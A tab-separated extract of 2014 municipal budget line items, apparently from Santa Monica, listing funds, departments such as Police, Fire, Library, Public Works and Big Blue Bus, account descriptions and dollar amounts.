4863	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	1805.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1805.0
4864	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4865	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	3135.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3135.0
4866	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2014	832006.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	832006.0
4867	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2014	19691.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19691.0
4868	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	28700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28700.0
4869	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	35875.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35875.0
4870	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511250.0	STANDBY PAY	816.0	Salaries and Wages	2014	29849.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	29849.0
4871	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	3014959.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3014959.0
4872	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511730.0	WORKERS' COMP INSURANCE	806.0	Salaries and Wages	2014	3255274.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3255274.0
4873	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	5125.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5125.0
4874	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	133050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	133050.0
4875	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2014	3016.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3016.0
4876	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555030.0	EMPLOYEE MEDICAL EXAMS	806.0	 Supplies and Expenses	2014	25625.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25625.0
4877	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	102.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	102.0
4878	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2014	20524.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20524.0
4879	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2014	8852.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8852.0
4880	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544020.0	AMMO / SHOOTING SUPPLIES	806.0	 Supplies and Expenses	2014	36482.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36482.0
4881	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511490.0	OVERTIME	806.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4882	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4883	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4884	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4885	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511490.0	OVERTIME	806.0	Salaries and Wages	2014	4374800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4374800.0
4886	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	40775.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40775.0
4887	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588200.0	BLDG RENOVATION / MAINTENANCE	806.0	 Supplies and Expenses	2014	27183.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27183.0
4888	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511490.0	OVERTIME	806.0	Salaries and Wages	2014	361946.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	361946.0
4889	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2014	131998.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	131998.0
4890	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511490.0	OVERTIME		Salaries and Wages	2014	2800000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2800000.0
4891	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522150.0	STORMWATER MANAGEMENT		 Supplies and Expenses	2014	5593.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5593.0
4892	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511730.0	WORKERS' COMP INSURANCE	812.0	Salaries and Wages	2014	75867.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75867.0
4893	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	3895.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3895.0
4894	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	1045.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1045.0
4895	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	95.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	95.0
4896	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544040.0	BOOKS/PAMPHLETS	812.0	 Supplies and Expenses	2014	570446.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	570446.0
4897	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2014	66767.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	66767.0
4898	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2014	95489.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	95489.0
4899	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2014	107121.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	107121.0
4900	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	4815.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4815.0
4901	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2014	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
4902	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	1138183.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1138183.0
4903	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2014	666368.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	666368.0
4904	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533180.0	TRANSFER STATION OPERATIONS	808.0	 Supplies and Expenses	2014	19000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19000.0
4905	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544270.0	BIN PARTS	808.0	 Supplies and Expenses	2014	40000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40000.0
4906	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	11589.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11589.0
4907	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
4908	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522140.0	WATER PURCHASES	852.0	 Supplies and Expenses	2014	5125500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5125500.0
4909	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522820.0	CONFERENCES/MEETINGS/TRAVEL	848.0	 Supplies and Expenses	2014	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
4910	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566820.0	SMMUSD JOINT USE AGREEMENT	810.0	 Supplies and Expenses	2014	8489716.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8489716.0
4911	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	566160.0	CANINE PROGRAM	806.0	 Supplies and Expenses	2014	28550.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28550.0
4912	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	3793.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3793.0
4913	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	588500.0	MISCELLANEOUS EQUIPMENT	806.0	 Supplies and Expenses	2014	3597.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3597.0
4914	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2014	32352.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	32352.0
4915	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511650.0	POLICE CADETS	806.0	Salaries and Wages	2014	42267.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	42267.0
4916	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	40920.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40920.0
4917	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4918	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4919	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544080.0	LICENSE TAGS / STICKERS	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4920	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4921	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511920.0	UNIFORM / TOOL ALLOWANCE		Salaries and Wages	2014	3600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3600.0
4922	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	564.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	564.0
4923	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544170.0	UNIFORM / PROTECTIVE CLOTHING		 Supplies and Expenses	2014	5361.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5361.0
4924	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2014	136507.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	136507.0
4925	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544030.0	BADGE / AWARD / NAME PLATES	806.0	 Supplies and Expenses	2014	2143.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2143.0
4926	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522930.0	VEHICLES - TIRES / TUBES	806.0	 Supplies and Expenses	2014	5437.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5437.0
4927	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2014	143288.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	143288.0
4928	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588050.0	FIRE SUPPRESSION EQUIPMENT	806.0	 Supplies and Expenses	2014	39729.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	39729.0
4929	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	1471744.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1471744.0
4930	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555017.0	OUTSIDE REPAIRS - BUS EQUIP		 Supplies and Expenses	2014	1230.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1230.0
4931	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2014	5125.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5125.0
4932	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2014	1025.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1025.0
4933	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522120.0	UTILITIES - NATURAL GAS	812.0	 Supplies and Expenses	2014	11000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11000.0
4934	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522210.0	UTILITIES - TELEPHONE	812.0	 Supplies and Expenses	2014	17400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17400.0
4935	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	2850.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2850.0
4936	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	1995.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1995.0
4937	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	3810.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3810.0
4938	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	285.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	285.0
4939	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533260.0	REPAIRS/IMPROVEMENTS	812.0	 Supplies and Expenses	2014	65137.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65137.0
4940	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	1995.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1995.0
4941	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	70965.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70965.0
4942	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	555050.0	BOOK BINDING	812.0	 Supplies and Expenses	2014	6147.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6147.0
4943	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	5301551.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5301551.0
4944	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	64100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	64100.0
4945	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522620.0	RENT	806.0	 Supplies and Expenses	2014	55450.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	55450.0
4946	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
4947	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	71800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	71800.0
4948	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	20408.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20408.0
4949	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	1635.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1635.0
4950	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	544010.0	SPEC DEPT SUPPLIES	848.0	 Supplies and Expenses	2014	255000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	255000.0
4951	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533020.0	GENERAL LIABILITY / AUTO	854.0	 Supplies and Expenses	2014	250648.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250648.0
4952	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555700.0	REGULATORY AGENCY FEES	866.0	 Supplies and Expenses	2014	110000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	110000.0
4953	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	577050.0	PROPERTY TAXES	866.0	 Supplies and Expenses	2014	128000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	128000.0
4954	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	555300.0	LIBRARY BOND DEBT SERVICE	910.0	 Supplies and Expenses	2014	1486350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1486350.0
4955	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566220.0	CONVENTION / VISITORS	816.0	 Supplies and Expenses	2014	2545381.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2545381.0
4956	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544120.0	PERIODICALS	812.0	 Supplies and Expenses	2014	86155.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	86155.0
4957	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2014	1603932.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1603932.0
4958	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2014	2264206.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2264206.0
4959	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	6461.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6461.0
4960	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	13888.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13888.0
4961	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	18228.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18228.0
4962	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2014	2038.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2038.0
4963	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	126500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	126500.0
4964	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555070.0	RECYCLING/DISPOSAL FEES	808.0	 Supplies and Expenses	2014	4240000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4240000.0
4965	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2014	325.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	325.0
4966	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	65000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65000.0
4967	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2014	1545042.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1545042.0
4968	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522210.0	UTILITIES - TELEPHONE	850.0	 Supplies and Expenses	2014	12608.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12608.0
4969	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522620.0	RENT	866.0	 Supplies and Expenses	2014	102000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	102000.0
4970	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511250.0	STANDBY PAY	840.0	Salaries and Wages	2014	24400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24400.0
4971	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511710.0	MEDICARE EMPLOYER CONTRIBUTION	840.0	Salaries and Wages	2014	250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250.0
4972	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522160.0	TRANSFER STATION FEE	848.0	 Supplies and Expenses	2014	950.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	950.0
4973	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2014	226556.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	226556.0
4974	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511740.0	EMPLOYEE HEALTH INSURANCE	820.0	Salaries and Wages	2014	1021000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1021000.0
4975	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578250.0	STORMWATER / WASTEWATER REIMB		 Supplies and Expenses	2014	1127231.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1127231.0
4976	BA	IS	20	Miscellaneous Grants Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4977	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	405450.0	HBP-FHWA CAL INCLINE DESIGN	610.0	Intergovernmental	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4978	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	2338699.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2338699.0
4979	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511972.0	UNIFORM ALLOWANCE		Salaries and Wages	2014	7200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7200.0
4980	BA	IS	1	General Fund	310	FIRE	315	TRAINING	588070.0	EDUC & RECREATIONAL EQUIPMENT	806.0	 Supplies and Expenses	2014	13592.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13592.0
4981	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511490.0	OVERTIME	812.0	Salaries and Wages	2014	6652.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6652.0
4982	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4983	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	760.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	760.0
